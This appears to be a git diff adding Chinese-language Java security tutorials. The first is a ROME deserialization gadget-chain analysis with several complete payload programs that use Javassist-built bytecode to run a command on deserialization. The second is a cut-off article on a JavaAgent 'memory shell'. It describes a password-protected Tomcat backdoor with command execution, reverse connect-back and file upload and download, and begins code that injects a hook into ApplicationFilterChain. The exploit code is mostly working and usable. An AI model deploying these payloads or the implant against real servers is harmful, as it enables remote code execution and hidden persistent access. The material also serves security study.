getOutputProperties(),可以排除大量干扰。 + +### BeanIntrospector#getPropertyDescriptors(Class) + +BeanIntrospector 的 getPropertyDescriptors 方法调用了 getPDs 方法: + +``` +public static synchronized PropertyDescriptor[] getPropertyDescriptors(Class klass) throws IntrospectionException { + PropertyDescriptor[] descriptors = (PropertyDescriptor[]) _introspected.get(klass); + if (descriptors==null) { + // 在这里调用 + descriptors = getPDs(klass); + _introspected.put(klass,descriptors); + } + return descriptors; +} +``` + +同理,这里应当将 Templates.class 作为参数 klass 的值。 + +### ToStringBean#toString(String) + +ToStringBean 的有参 toString 方法调用了 BeanIntrospector 的 getPropertyDescriptors 方法: + +``` +private String toString(String prefix) { + StringBuffer sb = new StringBuffer(128); + try { + // 在这里调用 + PropertyDescriptor[] pds = BeanIntrospector.getPropertyDescriptors(_beanClass); + if (pds!=null) { + for (int i=0;i>> 16); +} +``` + +### HashMap#readObject(java.io.ObjectInputStream) + +入口,经典永流传。 + +``` +private void readObject(java.io.ObjectInputStream s) + throws IOException, ClassNotFoundException { + // Read in the threshold (ignored), loadfactor, and any hidden stuff + s.defaultReadObject(); + reinitialize(); + if (loadFactor <= 0 || Float.isNaN(loadFactor)) + throw new InvalidObjectException("Illegal load factor: " + + loadFactor); + s.readInt(); // Read and ignore number of buckets + int mappings = s.readInt(); // Read number of mappings (size) + if (mappings < 0) + throw new InvalidObjectException("Illegal mappings count: " + + mappings); + else if (mappings > 0) { // (if zero, use defaults) + // Size the table using given load factor only if within + // range of 0.25...4.0 + float lf = Math.min(Math.max(0.25f, loadFactor), 4.0f); + float fc = (float)mappings / lf + 1.0f; + int cap = ((fc < DEFAULT_INITIAL_CAPACITY) ? + DEFAULT_INITIAL_CAPACITY : + (fc >= MAXIMUM_CAPACITY) ? + MAXIMUM_CAPACITY : + tableSizeFor((int)fc)); + float ft = (float)cap * lf; + threshold = ((cap < MAXIMUM_CAPACITY && ft < MAXIMUM_CAPACITY) ? + (int)ft : Integer.MAX_VALUE); + @SuppressWarnings({"rawtypes","unchecked"}) + Node[] tab = (Node[])new Node[cap]; + table = tab; + + // Read the keys and values, and put the mappings in the HashMap + for (int i = 0; i < mappings; i++) { + @SuppressWarnings("unchecked") + K key = (K) s.readObject(); + @SuppressWarnings("unchecked") + V value = (V) s.readObject(); + // 在这里调用 hash 方法 + putVal(hash(key), key, value, false, false); + } + } +} +``` + +至此,这条链子就剖析完成了。 + +### 调用栈总结 + +1. HashMap#readObject(java.io.ObjectInputStream) +2. HashMap#hash(Object) +3. ObjectBean#hashCode() +4. EqualsBean#beanHashCode() +5. ToStringBean#toString() +6. ToStringBean#toString(String) +7. BeanIntrospector#getPropertyDescriptors(Class) +8. BeanIntrospector#getPDs(Class) +9. TemplatesImpl#getOutputProperties() +10. TemplatesImpl#newTransformer() +11. TemplatesImpl#getTransletInstance() +12. TemplatesImpl#defineTransletClasses() +13. TransletClassLoader#defineClass() + +### 构造 payload + +``` +import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; +import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl; +import com.sun.syndication.feed.impl.EqualsBean; +import com.sun.syndication.feed.impl.ObjectBean; +import com.sun.syndication.feed.impl.ToStringBean; + +import javax.xml.transform.Templates; +import java.io.ByteArrayInputStream; +import java.io.ByteArrayOutputStream; +import java.io.ObjectInputStream; +import java.io.ObjectOutputStream; +import java.lang.reflect.Field; +import java.nio.file.Files; +import java.nio.file.Paths; +import java.util.HashMap; + +public class payload { + public static void main(String[] args) throws Exception { + // 将恶意类的字节码文件存入字节数组 + byte[] bytecodes = Files.readAllBytes(Paths.get("C:\\Users\\miaoj\\Documents\\Java安全代码实验\\Rome利用链分析\\RomeTest\\target\\classes\\Eval.class")); + + // 新建利用链 TemplatesImpl 对象 + TemplatesImpl templatesImpl = new TemplatesImpl(); + setValue(templatesImpl,"_name","aaa"); + setValue(templatesImpl,"_bytecodes",new byte[][] {bytecodes}); + setValue(templatesImpl, "_tfactory", new TransformerFactoryImpl()); + + // 利用 ToStringBean 的 toString() 方法调用 TemplatesImpl 的 getOutputProperties() 方法 + ToStringBean toStringBean = new ToStringBean(Templates.class,templatesImpl); + + // 利用 EqualsBean 的 beanHashCode() 方法调用 ToStringBean 的 toString() 方法 + EqualsBean equalsBean = new EqualsBean(ToStringBean.class, toStringBean); + + // 利用 ObjectBean 的 hashCode() 方法调用 EqualsBean 的 beanHashCode() 方法 + // 为防止调用 put 方法时命令执行,先传入一个普通的 ObjectBean + HashMap hashMap0 = new HashMap(); + ObjectBean objectBean = new ObjectBean(HashMap.class, hashMap0); + + // HashMap 的 hash() 方法会调用 key 的 hashCode() 方法,readObject() 方法会调用 hash() 方法 + HashMap hashMap = new HashMap(); + hashMap.put(objectBean, "test"); + + // 反射修改 ObjectBean 的属性值 + setValue(objectBean, "_equalsBean", equalsBean); + + // 序列化成字节数组 + ByteArrayOutputStream baos = new ByteArrayOutputStream(); + ObjectOutputStream oos = new ObjectOutputStream(baos); + oos.writeObject(hashMap); + oos.flush(); + oos.close(); + + // 反序列化字节数组 + ByteArrayInputStream bais = new ByteArrayInputStream(baos.toByteArray()); + ObjectInputStream ois = new ObjectInputStream(bais); + ois.readObject(); + ois.close(); + } + + // 反射设置属性值的过程可以抽离成一个方法 + public static void setValue(Object obj, String name, Object value) throws Exception{ + Field field = obj.getClass().getDeclaredField(name); + field.setAccessible(true); + field.set(obj, value); + } +} +``` + +### 反射修改 HashMap 的 key 值以优化 payload + +在调用 HashMap 的 put 方法时,总是会因为 put 方法要调用 putVal 方法或者 hash 而导致提前命令执行,是否可以通过反射修改 HashMap 的 key 值呢?枫の师傅的文章中给出了解决方案。 + +HashMap 的 put 方法: + +``` +public V put(K key, V value) { + return putVal(hash(key), key, value, false, true); +} +``` + +HashMap 的 putVal 方法: + +``` +final V putVal(int hash, K key, V value, boolean onlyIfAbsent, + boolean evict) { + Node[] tab; Node p; int n, i; + if ((tab = table) == null || (n = tab.length) == 0) + n = (tab = resize()).length; + if ((p = tab[i = (n - 1) & hash]) == null) + tab[i] = newNode(hash, key, value, null); + else { + Node e; K k; + if (p.hash == hash && + ((k = p.key) == key || (key != null && key.equals(k)))) + e = p; + else if (p instanceof TreeNode) + e = ((TreeNode)p).putTreeVal(this, tab, hash, key, value); + else { + for (int binCount = 0; ; ++binCount) { + if ((e = p.next) == null) { + p.next = newNode(hash, key, value, null); + if (binCount >= TREEIFY_THRESHOLD - 1) // -1 for 1st + treeifyBin(tab, hash); + break; + } + if (e.hash == hash && + ((k = e.key) == key || (key != null && key.equals(k)))) + break; + p = e; + } + } + if (e != null) { // existing mapping for key + V oldValue = e.value; + if (!onlyIfAbsent || oldValue == null) + e.value = value; + afterNodeAccess(e); + return oldValue; + } + } + ++modCount; + if (++size > threshold) + resize(); + afterNodeInsertion(evict); + return null; +} +``` + +这里用了一些算法,看不懂没关系,总之是进行了一个键值对的存储,这个键值对最终被插入到 table 数组的一个位置中,具体位置取决于计算得到的索引 i 。 + +table 是 HashMap 的一个属性,来看它的定义: + +``` +transient Node[] table; +``` + +这个 Node 是 HashMap 中定义的一个静态内部类: + +![](https://changeyourway.github.io/images/image-20240606153409911.png) + +也就是说,我们调用 put 方法存进来的键值对最终是以 Node 对象的形式存放在数组里面的。 + +那么,我们可以用以下方式来修改 key : + +``` +// 新建 HashMap 对象,设置初始容量 +HashMap hashMap = new HashMap<>(1); +// 先存入无关数据 +hashMap.put("test1", "test2"); +// 反射获取 table 属性 +Object[] table= (Object[]) getValue(hashMap,"table"); +// 获取 table 数组中的 Node 对象 +Object entry = table[1]; +// 反射修改 Node 对象的 key 属性值 +setValue(entry,"key",equalsBean); +``` + +其中 getValue 方法内容如下: + +``` +public static Object getValue(Object obj, String name) throws Exception{ + Field field = obj.getClass().getDeclaredField(name); + field.setAccessible(true); + return field.get(obj); +} +``` + +在此基础上,我们可以优化上面的 payload : + +``` +import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; +import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl; +import com.sun.syndication.feed.impl.EqualsBean; +import com.sun.syndication.feed.impl.ObjectBean; +import com.sun.syndication.feed.impl.ToStringBean; + +import javax.xml.transform.Templates; +import java.io.ByteArrayInputStream; +import java.io.ByteArrayOutputStream; +import java.io.ObjectInputStream; +import java.io.ObjectOutputStream; +import java.lang.reflect.Field; +import java.nio.file.Files; +import java.nio.file.Paths; +import java.util.HashMap; + +public class payload { + public static void main(String[] args) throws Exception { + // 将恶意类的字节码文件存入字节数组 + byte[] bytecodes = Files.readAllBytes(Paths.get("C:\\Users\\miaoj\\Documents\\Java安全代码实验\\Rome利用链分析\\RomeTest\\target\\classes\\Eval.class")); + + // 新建利用链 TemplatesImpl 对象 + TemplatesImpl templatesImpl = new TemplatesImpl(); + setValue(templatesImpl,"_name","aaa"); + setValue(templatesImpl,"_bytecodes",new byte[][] {bytecodes}); + setValue(templatesImpl, "_tfactory", new TransformerFactoryImpl()); + + // 利用 ToStringBean 的 toString() 方法调用 TemplatesImpl 的 getOutputProperties() 方法 + ToStringBean toStringBean = new ToStringBean(Templates.class,templatesImpl); + + // 利用 EqualsBean 的 beanHashCode() 方法调用 ToStringBean 的 toString() 方法 + EqualsBean equalsBean = new EqualsBean(ToStringBean.class, toStringBean); + + // 利用 ObjectBean 的 hashCode() 方法调用 EqualsBean 的 beanHashCode() 方法 + ObjectBean objectBean = new ObjectBean(EqualsBean.class, equalsBean); + + // HashMap 的 hash() 方法会调用 key 的 hashCode() 方法,readObject() 方法会调用 hash() 方法 + HashMap hashMap = new HashMap(1); + // 先存入无关数据 + hashMap.put("test1", "test2"); + // 反射获取 table 属性 + Object[] table= (Object[]) getValue(hashMap,"table"); + // 获取 table 数组中的 Node 对象 + Object entry = table[1]; + // 反射修改 Node 对象的 key 属性值 + setValue(entry,"key",objectBean); + + // 序列化成字节数组 + ByteArrayOutputStream baos = new ByteArrayOutputStream(); + ObjectOutputStream oos = new ObjectOutputStream(baos); + oos.writeObject(hashMap); + oos.flush(); + oos.close(); + + // 反序列化字节数组 + ByteArrayInputStream bais = new ByteArrayInputStream(baos.toByteArray()); + ObjectInputStream ois = new ObjectInputStream(bais); + ois.readObject(); + ois.close(); + } + + // 反射设置属性值的过程可以抽离成一个方法 + public static void setValue(Object obj, String name, Object value) throws Exception{ + Field field = obj.getClass().getDeclaredField(name); + field.setAccessible(true); + field.set(obj, value); + } + + public static Object getValue(Object obj, String name) throws Exception{ + Field field = obj.getClass().getDeclaredField(name); + field.setAccessible(true); + return field.get(obj); + } +} +``` + +不过值得注意的是,这里获取到的 table 数组其中存储的 Node 对象不一定是按顺序来的,不想看算法的话直接调试来看位置: + +![](https://changeyourway.github.io/images/image-20240606172727041.png) + +可以看到,这里键值对是存入了 table 数组中下标为 1 的位置,而且我们初始化时设定容量为 1 ,但是实际的 table 大小为 2 。所以这里建议不管有没有设置初始容量,都要具体情况具体分析,调试起来确定下标后再修改。 + +## 使用 Javassist 缩短字节码文件 + +在某些情况下,网站可能会对反序列化数据的长度有一定限制,所以有必要通过一些手段来缩短 Payload 。 + +有关 Javassist 的知识参见:[基础篇 - Javassist 使用指南](https://changeyourway.github.io/2024/06/07/Java%20%E5%AE%89%E5%85%A8/%E5%9F%BA%E7%A1%80%E7%AF%87-javassist%E7%94%A8%E6%B3%95%E6%8C%87%E5%8D%97/) + +前面我们用来被加载的 Eval 类是这样的: + +``` +public class Eval extends AbstractTranslet { + // 恶意代码放在静态代码块中 + static { + try { + Runtime.getRuntime().exec("calc"); + } catch (IOException e) { + throw new RuntimeException(e); + } + } + + // 需要重写父类的两个方法 + @Override + public void transform(DOM document, SerializationHandler[] handlers) throws TransletException { + + } + + @Override + public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException { + + } +} +``` + +由于 TemplatesImpl#defineTransletClasses() 方法会判断被加载的类是否继承了 AbstractTranslet ,如果没有就抛出异常,所以 Eval 类被迫继承了 AbstractTranslet ,又由于 AbstractTranslet 是个抽象类,继承了它就要重写它的一些方法,否则编译器报错。但其实这两个方法根本就没有用,造成了冗余。 + +可以用 javassist 来构建这样一个类,用 javassist 来操作字节码,添加静态代码块,继承父类,而不需要实现父类的方法,具体办法如下: + +``` +// 获取类池 +ClassPool classPool = ClassPool.getDefault(); +// 创建一个名为 Error 的类 +CtClass error = classPool.makeClass("Error"); +// 向 Error 对象中添加静态代码块 +CtConstructor constructor = error.makeClassInitializer(); +constructor.setBody("Runtime.getRuntime().exec(\"calc\");"); +// 设置 Error 的父类为 AbstractTranslet +CtClass abstractTranslet = classPool.get("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet"); +error.setSuperclass(abstractTranslet); +// 将 Error 对象输出成字节数组 +byte[] errorBytecode = error.toBytecode(); +``` + +这样创建的对象中没有重写父类 AbstractTranslet 的两个方法,缩短了字节码长度。以后再也不用手写 Eval 类了。 + +## 变种利用链分析 + +核心依然是 TemplatesImpl#getOutputProperties() 。后面的 payload 统一用 javassist 来创建类。 + +### EqualsBean#hashCode() 链 + +用 EqualsBean#hashCode() 替换掉 ObjectBean#hashCode() 即可。 + +EqualsBean#hashCode() 内容如下: + +``` +public int hashCode() { + return beanHashCode(); +} +``` + +###### payload + +``` +import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; +import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl; +import com.sun.syndication.feed.impl.EqualsBean; +import com.sun.syndication.feed.impl.ObjectBean; +import com.sun.syndication.feed.impl.ToStringBean; +import javassist.ClassPool; +import javassist.CtClass; +import javassist.CtConstructor; + +import javax.xml.transform.Templates; +import java.io.ByteArrayInputStream; +import java.io.ByteArrayOutputStream; +import java.io.ObjectInputStream; +import java.io.ObjectOutputStream; +import java.lang.reflect.Field; +import java.nio.file.Files; +import java.nio.file.Paths; +import java.util.HashMap; + +public class EqualsBean_payload { + public static void main(String[] args) throws Exception { + // 获取类池 + ClassPool classPool = ClassPool.getDefault(); + // 创建一个名为 Error 的类 + CtClass error = classPool.makeClass("Error"); + // 向 Error 对象中添加静态代码块 + CtConstructor constructor = error.makeClassInitializer(); + constructor.setBody("Runtime.getRuntime().exec(\"calc\");"); + // 设置 Error 的父类为 AbstractTranslet + CtClass abstractTranslet = classPool.get("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet"); + error.setSuperclass(abstractTranslet); + // 将 Error 对象输出成字节数组 + byte[] errorBytecode = error.toBytecode(); + + // 新建利用链 TemplatesImpl 对象 + TemplatesImpl templatesImpl = new TemplatesImpl(); + setValue(templatesImpl, "_name", "aaa"); + setValue(templatesImpl, "_bytecodes", new byte[][]{errorBytecode}); + setValue(templatesImpl, "_tfactory", new TransformerFactoryImpl()); + + // 利用 ToStringBean 的 toString() 方法调用 TemplatesImpl 的 getOutputProperties() 方法 + ToStringBean toStringBean = new ToStringBean(Templates.class, templatesImpl); + + // EqualsBean 的 beanHashCode() 方法会调用其成员属性 _obj 的 toString() 方法 + // EqualsBean 的 HashCode() 方法又会调用 beanHashCode() 方法 + // 为防止调用 put 方法时提前命令执行,先传入一个普通的 EqualsBean + HashMap hashMapNull = new HashMap(); + EqualsBean equalsBean = new EqualsBean(HashMap.class, hashMapNull); + + // HashMap 的 hash() 方法会调用 key 的 hashCode() 方法,readObject() 方法会调用 hash() 方法 + HashMap hashMap = new HashMap(); + hashMap.put(equalsBean, "test"); + + // 反射修改 ObjectBean 的属性值 + setValue(equalsBean, "_obj", toStringBean); + + // 序列化成字节数组 + ByteArrayOutputStream baos = new ByteArrayOutputStream(); + ObjectOutputStream oos = new ObjectOutputStream(baos); + oos.writeObject(hashMap); + oos.flush(); + oos.close(); + + // 反序列化字节数组 + ByteArrayInputStream bais = new ByteArrayInputStream(baos.toByteArray()); + ObjectInputStream ois = new ObjectInputStream(bais); + ois.readObject(); + ois.close(); + } + + // 反射设置属性值的过程可以抽离成一个方法 + public static void setValue(Object obj, String name, Object value) throws Exception { + Field field = obj.getClass().getDeclaredField(name); + field.setAccessible(true); + field.set(obj, value); + } +} +``` + +### HashTable 链 + +入口类改用 HashTable 即可。 + +调用链如下: + +1. Hashtable#readObject() +2. Hashtable#reconstitutionPut() +3. EqualsBean#hashCode() + +Hashtable 的 reconstitutionPut() 方法会调用 key 的 hashCode() 方法: + +![](https://changeyourway.github.io/images/image-20240606093903510.png) + +###### payload + +``` +import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; +import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl; +import com.sun.syndication.feed.impl.EqualsBean; +import com.sun.syndication.feed.impl.ToStringBean; +import javassist.ClassPool; +import javassist.CtClass; +import javassist.CtConstructor; + +import javax.xml.transform.Templates; +import java.io.ByteArrayInputStream; +import java.io.ByteArrayOutputStream; +import java.io.ObjectInputStream; +import java.io.ObjectOutputStream; +import java.lang.reflect.Field; +import java.nio.file.Files; +import java.nio.file.Paths; +import java.util.HashMap; +import java.util.Hashtable; + +public class Hashtable_payload { + public static void main(String[] args) throws Exception { + // 获取类池 + ClassPool classPool = ClassPool.getDefault(); + // 创建一个名为 Error 的类 + CtClass error = classPool.makeClass("Error"); + // 向 Error 对象中添加静态代码块 + CtConstructor constructor = error.makeClassInitializer(); + constructor.setBody("Runtime.getRuntime().exec(\"calc\");"); + // 设置 Error 的父类为 AbstractTranslet + CtClass abstractTranslet = classPool.get("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet"); + error.setSuperclass(abstractTranslet); + // 将 Error 对象输出成字节数组 + byte[] errorBytecode = error.toBytecode(); + + // 新建利用链 TemplatesImpl 对象 + TemplatesImpl templatesImpl = new TemplatesImpl(); + setValue(templatesImpl, "_name", "aaa"); + setValue(templatesImpl, "_bytecodes", new byte[][]{errorBytecode}); + setValue(templatesImpl, "_tfactory", new TransformerFactoryImpl()); + + // 利用 ToStringBean 的 toString() 方法调用 TemplatesImpl 的 getOutputProperties() 方法 + ToStringBean toStringBean = new ToStringBean(Templates.class, templatesImpl); + + // EqualsBean 的 beanHashCode() 方法会调用其成员属性 _obj 的 toString() 方法 + // EqualsBean 的 HashCode() 方法又会调用 beanHashCode() 方法 + // 为防止调用 put 方法时提前命令执行,先传入一个普通的 EqualsBean + HashMap hashMapNull = new HashMap(); + EqualsBean equalsBean = new EqualsBean(HashMap.class, hashMapNull); + + // Hashtable 的 reconstitutionPut() 方法会调用 key 的 hashCode() 方法 + // Hashtable 的 readObject() 方法会调用 reconstitutionPut() 方法 + Hashtable hashtable = new Hashtable<>(); + hashtable.put(equalsBean, "test"); + + // 反射修改 ObjectBean 的属性值 + setValue(equalsBean, "_obj", toStringBean); + + // 序列化成字节数组 + ByteArrayOutputStream baos = new ByteArrayOutputStream(); + ObjectOutputStream oos = new ObjectOutputStream(baos); + oos.writeObject(hashtable); + oos.flush(); + oos.close(); + + // 反序列化字节数组 + ByteArrayInputStream bais = new ByteArrayInputStream(baos.toByteArray()); + ObjectInputStream ois = new ObjectInputStream(bais); + ois.readObject(); + ois.close(); + } + + // 反射设置属性值的过程可以抽离成一个方法 + public static void setValue(Object obj, String name, Object value) throws Exception { + Field field = obj.getClass().getDeclaredField(name); + field.setAccessible(true); + field.set(obj, value); + } +} +``` + +### BadAttributeValueExpException 链 + +入口类改用 BadAttributeValueExpException 即可。CC5 链便是将这个类作为入口,不妨再复习一下。 + +BadAttributeValueExpException 的 readObject 方法调用了 valObj 的 toString 方法: + +``` +private void readObject(ObjectInputStream ois) throws IOException, ClassNotFoundException { + // valObj 是从输入流中读取到的对象的 val 字段值 + ObjectInputStream.GetField gf = ois.readFields(); + Object valObj = gf.get("val", null); + + if (valObj == null) { + val = null; + } else if (valObj instanceof String) { + val= valObj; + } else if (System.getSecurityManager() == null + || valObj instanceof Long + || valObj instanceof Integer + || valObj instanceof Float + || valObj instanceof Double + || valObj instanceof Byte + || valObj instanceof Short + || valObj instanceof Boolean) { + // 这里调用了 valObj 的 toString 方法 + val = valObj.toString(); + } else { // the serialized object is from a version without JDK-8019292 fix + val = System.identityHashCode(valObj) + "@" + valObj.getClass().getName(); + } +} +``` + +valObj 是从输入流中读取到的对象的 val 字段值,即 BadAttributeValueExpException 对象的 val 属性值。 + +不能用构造方法给 val 赋值,因为构造方法会提前调用 val 的 toString 方法,造成命令执行: + +``` +public BadAttributeValueExpException (Object val) { + this.val = val == null ? null : val.toString(); +} +``` + +所以这里选择反射修改 val 的值,将 val 的值设置成 ToStringBean 对象即可。 + +###### payload + +``` +import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; +import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl; +import com.sun.syndication.feed.impl.ToStringBean; +import javassist.ClassPool; +import javassist.CtClass; +import javassist.CtConstructor; + +import javax.management.BadAttributeValueExpException; +import javax.xml.transform.Templates; +import java.io.ByteArrayInputStream; +import java.io.ByteArrayOutputStream; +import java.io.ObjectInputStream; +import java.io.ObjectOutputStream; +import java.lang.reflect.Field; +import java.nio.file.Files; +import java.nio.file.Paths; +import java.util.HashMap; + +public class BadAttributeValueExpException_payload { + public static void main(String[] args) throws Exception { + // 获取类池 + ClassPool classPool = ClassPool.getDefault(); + // 创建一个名为 Error 的类 + CtClass error = classPool.makeClass("Error"); + // 向 Error 对象中添加静态代码块 + CtConstructor constructor = error.makeClassInitializer(); + constructor.setBody("Runtime.getRuntime().exec(\"calc\");"); + // 设置 Error 的父类为 AbstractTranslet + CtClass abstractTranslet = classPool.get("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet"); + error.setSuperclass(abstractTranslet); + // 将 Error 对象输出成字节数组 + byte[] errorBytecode = error.toBytecode(); + + // 新建利用链 TemplatesImpl 对象 + TemplatesImpl templatesImpl = new TemplatesImpl(); + setValue(templatesImpl, "_name", "aaa"); + setValue(templatesImpl, "_bytecodes", new byte[][]{errorBytecode}); + setValue(templatesImpl, "_tfactory", new TransformerFactoryImpl()); + + // 利用 ToStringBean 的 toString() 方法调用 TemplatesImpl 的 getOutputProperties() 方法 + ToStringBean toStringBean = new ToStringBean(Templates.class, templatesImpl); + + // BadAttributeValueExpException 的 readObject 方法会调用 val 属性的 toString 方法 + BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(new HashMap()); + // 为防止调用构造方法命令执行,选择反射修改 val 属性值 + setValue(badAttributeValueExpException, "val", toStringBean); + + // 序列化成字节数组 + ByteArrayOutputStream baos = new ByteArrayOutputStream(); + ObjectOutputStream oos = new ObjectOutputStream(baos); + oos.writeObject(badAttributeValueExpException); + oos.flush(); + oos.close(); + + // 反序列化字节数组 + ByteArrayInputStream bais = new ByteArrayInputStream(baos.toByteArray()); + ObjectInputStream ois = new ObjectInputStream(bais); + ois.readObject(); + ois.close(); + } + + // 反射设置属性值的过程可以抽离成一个方法 + public static void setValue(Object obj, String name, Object value) throws Exception { + Field field = obj.getClass().getDeclaredField(name); + field.setAccessible(true); + field.set(obj, value); + } +} +``` + +### HotSwappableTargetSource 链 + +spring 原生的 toString 利用链。 + +调用链如下 + +- HashMap.readObject +- HashMap.putVal +- HotSwappableTargetSource.equals +- XString.equals +- ToStringBean.toString + +这个链子由于作者第一次接触,需要完整分析一下,内容过长,所以单独写了一篇文章。 + +参见:[漏洞篇 - Rome 链之 HotSwappableTargetSource 利用链](https://changeyourway.github.io/2024/06/07/Java%20%E5%AE%89%E5%85%A8/%E6%BC%8F%E6%B4%9E%E7%AF%87-Rome%E9%93%BE%E4%B9%8BHotSwappableTargetSource%E9%93%BE/) + +## 参考文章 + +[Java 安全学习 —— ROME 反序列化](https://goodapple.top/archives/1145) + +[ROME 反序列化](https://www.yuque.com/5tooc3a/jas/mhy3k7vcrdteappp#amGm1) diff --git a/books/漏洞篇 - JavaAgent 内存马.md b/books/漏洞篇 - JavaAgent 内存马.md new file mode 100644 index 0000000..de69d8e --- /dev/null +++ b/books/漏洞篇 - JavaAgent 内存马.md @@ -0,0 +1,459 @@ +# 漏洞篇 - JavaAgent 内存马 +> 2024-10-31 +> 来源:https://changeyourway.github.io/2024/10/31/Java%20%E5%AE%89%E5%85%A8/%E6%BC%8F%E6%B4%9E%E7%AF%87-JavaAgent%E5%86%85%E5%AD%98%E9%A9%AC/ + +本文的前置知识:[基础篇 - Java Agent 详解](https://changeyourway.github.io/2024/10/23/Java%20%E5%AE%89%E5%85%A8/%E5%9F%BA%E7%A1%80%E7%AF%87-JavaAgent%E8%AF%A6%E8%A7%A3/) 。 + +Java Agent 允许开发者在 JVM 运行时通过修改类的字节码,那么它其实就相当于 JVM 层面的一个拦截器或者说增强代理(类似于 AOP),既然如此,我们就可以在一些类中插入我们想要的代码逻辑。 + +## 实现思路 + +### 注入 ApplicationFilterChain + +冰蝎作者 rebeyond 师傅的内存马项目([https://github.com/rebeyond/memShell)选取](https://github.com/rebeyond/memShell%EF%BC%89%E9%80%89%E5%8F%96) ApplicationFilterChain 的 internalDoFilter 方法作为 hook 点,在 Tomcat 的运行过程中,ApplicationFilterChain 的 internalDoFilter 方法会被反复调用以执行过滤器的 DoFilter 方法。 + +为什么选择 ApplicationFilterChain 的 internalDoFilter 方法呢?一是它会经常被调用,二是该方法的两个参数(ServletRequest 和 ServletResponse)可以方便的处理请求信息,输出响应信息。这满足了内存马获取 Request 的条件以及输出回显的条件。 + +在 Agent.java 中定义了 agentmain 方法,其中注册了自定义转换器 Transformer : + +![](https://changeyourway.github.io/images/image-20241028111812947.png) + +自定义类 Transformer 中重写了 transform 方法,利用 javassist 获取到了 ApplicationFilterChain 的 internalDoFilter 方法,用 insertBefore 方法将 readSource() 方法的返回值插入到获取方法的最前面: + +![](https://changeyourway.github.io/images/image-20241028112010214.png) + +readSource() 方法读取了一个 source.txt ,也就是说将这个文件中的内容插入了方法体: + +![](https://changeyourway.github.io/images/image-20241028112251542.png) + +source.txt 中定义了要插入的逻辑: + +![](https://changeyourway.github.io/images/image-20241030135220790.png) + +代码就不放全了,简要总结一下: + +$1、$2 是 javassist 中的写法,表示方法的参数 1 和参数 2 。 + +**获取参数**:首先从 `HttpServletRequest` 中提取 `pass_the_world` 和 `model` 参数,其中: + +- `pass_the_world` 作为一个访问密码,用于校验请求的合法性。 +- `model` 表示执行操作的类型,不同的值对应不同的功能。 + +**验证密码**:如果 `pass_the_world` 不为空,且等于 `net.rebeyond.memshell.Agent.password`(即预设的密码),则认为验证通过,进入逻辑处理;否则,终止操作。 + +**操作分支**:根据 `model` 参数的值,执行对应的操作逻辑: + +- **帮助信息** (`help`):如果 `model` 为空或未指定,调用 `net.rebeyond.memshell.Shell.help()` 方法,返回帮助信息。 +- **命令执行** (`exec`):从请求参数中获取 `cmd`,并调用 `Shell.execute(cmd)` 方法执行系统命令,将结果返回。 +- **反向连接** (`connectback`):从请求参数中获取 `ip` 和 `port`,调用 `Shell.connectBack(ip, port)` 建立反向连接。 +- **文件下载** (`urldownload`):从请求中获取 `url` 和 `path` 参数,调用 `Shell.urldownload(url, path)` 下载文件到指定路径。 +- **目录列表** (`list`):从请求中获取 `path` 参数,调用 `Shell.list(path)` 列出指定路径下的文件。 +- **删除文件** (`del`):从请求中获取 `path` 参数,调用 `Shell.delete(path)` 删除指定路径的文件。 +- **显示文件内容** (`show`):从请求中获取 `path`,调用 `Shell.showFile(path)` 显示文件内容。 +- **文件下载** (`download`):从请求中获取 `path`,将对应文件的内容作为附件响应回客户端。 +- **文件上传** (`upload`):从请求中获取 `path`、`content` 和 `type` 参数,通过 `Shell.upload(path, fileContent, type)` 将内容上传至服务器指定路径。 +- **代理** (`proxy`):调用 `net.rebeyond.memshell.Proxy().doProxy(request, response)` 方法实现请求代理。 +- **chopper木马** (`chopper`):通过 `net.rebeyond.memshell.Evaluate().doPost(request, response)` 执行远程代码。 + +**响应输出**:每个操作的结果会被写入 `response` 对象的输出流中返回给客户端。 + +可以看到这里实现了非常多不同的功能。 + +仿照上面的思路,我们可以插入对应的执行逻辑,实现一个较为简易的内存马。 + +首先是入口类 TestAgent ,其中定义了 agentmain 方法: + +``` +package InjectApplicationFilterChain; + +import java.lang.instrument.Instrumentation; + +public class TestAgent { + public static void agentmain(String agentArgs, Instrumentation inst) { + inst.addTransformer(new TestTransform(), true); + Class[] loadedClasses = inst.getAllLoadedClasses(); + for (int i = 0; i < loadedClasses.length; ++i) { + Class clazz = loadedClasses[i]; + if (clazz.getName().equals("org.apache.catalina.core.ApplicationFilterChain")) { + try { + inst.retransformClasses(new Class[]{clazz}); + } catch (Exception e) { + e.printStackTrace(); + } + } + } + } +} +``` + +然后是自定义转换器 TestTransform ,其中重写了 transform 方法,通过 javassist 获取 ApplicationFilterChain 的 internalDoFilter 方法,并在其中插入逻辑: + +``` +package InjectApplicationFilterChain; + +import javassist.*; + +import java.lang.instrument.ClassFileTransformer; +import java.lang.instrument.IllegalClassFormatException; +import java.security.ProtectionDomain; + +public class TestTransform implements ClassFileTransformer { + @Override + public byte[] transform(ClassLoader loader, String className, Class classBeingRedefined, ProtectionDomain protectionDomain, byte[] classfileBuffer) throws IllegalClassFormatException { + try { + System.out.println(classBeingRedefined.getName()); + // 获取 CtClass 对象的容器 ClassPool + ClassPool classPool = ClassPool.getDefault(); + // 添加额外的类搜索路径 + if (classBeingRedefined != null) { + ClassClassPath ccp = new ClassClassPath(classBeingRedefined); + classPool.insertClassPath(ccp); + } + // 获取目标类 + CtClass ctClass = classPool.get("org.apache.catalina.core.ApplicationFilterChain"); + // 获取目标方法 + CtMethod ctMethod = ctClass.getDeclaredMethod("internalDoFilter"); + // 设置要插入的内容 + String body ="javax.servlet.ServletRequest req = request;\n" + + "javax.servlet.ServletResponse res = response;" + 